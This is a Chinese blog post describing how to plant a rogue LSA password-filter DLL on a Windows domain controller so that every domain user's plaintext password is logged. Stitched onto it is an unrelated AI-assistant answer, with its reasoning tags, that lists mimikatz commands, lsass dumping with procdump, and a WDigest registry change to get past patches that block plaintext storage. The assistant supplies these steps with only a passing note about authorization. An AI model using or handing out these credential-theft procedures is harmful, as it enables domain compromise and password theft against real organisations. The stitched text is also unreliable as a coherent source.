如何获取全域用户明文密码

简介

在组策略之外,Windows 允许你自定义密码策略,滥用这个机制可以实现一些恶意行为。今天为大家科普下

当我们按下 CTRL + ALT + DEL,修改用户密码时,在 Windows 服务器端,会发生什么呢?

首先,Windows 服务器(域控)会检查注册表,找到 Password Filter,也就是 LSA Notification Package。然后挨个调用DLL,检查密码是否符合策略,

lsa.jpg

如果不符合策略,就提示密码不够健壮,

screen 2017-03-15 at 11.25.46.jpg

在默认情况下,域上的服务器包含两个DLL,其中 seccli 负责实现密码安全策略,也就我们常用的GPO了

gpo.jpg

我们今天的主题,就是如何滥用这个机制,实现一个密码策略插件,以记录所有域用户的密码

一家上市公司,为了符合SOX 404审计要求,密码每三个月就要强制修改一次,刚好可以触发这个机制

查了下官方文档,一个密码插件需要导出三个函数,

src.jpg

其中 PasswordFilter 负责检查密码是否合规;PasswordChangeNotify 是在工作站上执行,负责告知工作站用户密码变更。

最终的源代码和64位的DLL可以在这里下载(使用 build.cmd 编译)

安装插件

我们登陆域控,将编译好的 SecureFilter.dll 复制到 %system32% 目录,

然后打开注册表,找到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Package

添加SecureFilter 字样

screen 2017-03-14 at 22.20.52.jpg

重启 DC 服务器后生效

实战演示

我们登陆一台工作站,修改密码,

changepw.jpg

回到域控,发现日志已经写入了

log.jpg

写在最后

经过测试,无论你用何种方式修改密码,OWA 还是命令行,效果都是一样的;在未加域的服务器上效果也是一样

如果想要立即获取某个用户的密码,在域控上轻轻一勾即可 “User must change password at next logon”,如图所示:

screen 2017-03-15 at 11.38.46.jpg

参考资料

  1. https://www.slideshare.net/nFrontSecurity/how-do-password-filters-work
  2. https://technet.microsoft.com/en-us/library/cc963221.aspx
  3. https://msdn.microsoft.com/en-us/library/windows/desktop/ms721766(v=vs.85).aspx.aspx)
<think>好的,用户的问题是关于如何提取RDP在线会话的明文密码的方法或工具。首先,我需要根据提供的参考资料来整理相关信息。引用[1]中提到使用mimikatz获取高权限并读取lsass.exe进程中的明文密码,但需要注意补丁可能阻止这一操作。引用[2]和[3]则涉及RDP凭据的获取方法,包括环境变量和密码安全技术。 接下来,我需要考虑用户的实际需求。用户可能希望了解当前有效的方法,尤其是在系统更新后的绕过技巧。需要分步骤说明,包括工具使用、权限提升、绕过补丁的方法,以及替代方案如注册表导出和第三方工具。同时,必须提醒用户法律和道德风险,强调合法授权的重要性。 还要注意引用来源的正确标注,确保每个步骤末尾自然添加引用标识。需要检查LaTeX格式是否正确,但根据用户的问题,可能不需要数学公式,所以重点放在代码块和步骤说明上。最后生成相关问题,帮助用户进一步探索相关主题,比如补丁绕过、Procdump的使用场景等。</think>### RDP在线会话明文密码提取方法 根据已知技术资料,获取RDP在线用户明文密码的核心方法是利用内存凭证提取技术,具体步骤如下: 1. **权限提升** ```cmd mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit ``` 需先通过`privilege::debug`命令获取调试权限,这是读取系统进程内存的前提条件[^1]。 2. **LSASS进程内存分析** Windows系统会将RDP连接凭证缓存在lsass.exe进程中。使用管理员权限运行mimikatz后,执行: ```powershell mimikatz# sekurlsa::minidump lsass.dmp mimikatz# sekurlsa::tspkg ``` 可提取包括RDP在内的多种登录凭证[^1]。 3. **补丁绕过技术** 微软在KB2871997补丁后限制了明文存储,但可通过以下方式绕过: - 修改注册表启用WDigest ```reg reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG_DWORD /d 1 /f ``` - 强制重启后新登录的凭证将以明文形式存储 4. **注册表提取法** RDP连接历史记录存储在注册表路径: `HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers` 可通过regedit导出相关键值,部分情况下可获取保存的凭据[^2] 5. **第三方工具辅助** - 使用ProcDump提取lsass.exe进程镜像: ```powershell procdump.exe -accepteula -ma lsass.exe lsass.dmp ``` - 再通过mimikatz离线分析dmp文件[^3] ### 注意事项 1. 所有操作需在合法授权下进行 2. 现代系统默认禁用明文存储,需结合补丁状态选择方法 3. 部分杀毒软件会拦截凭证提取行为
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值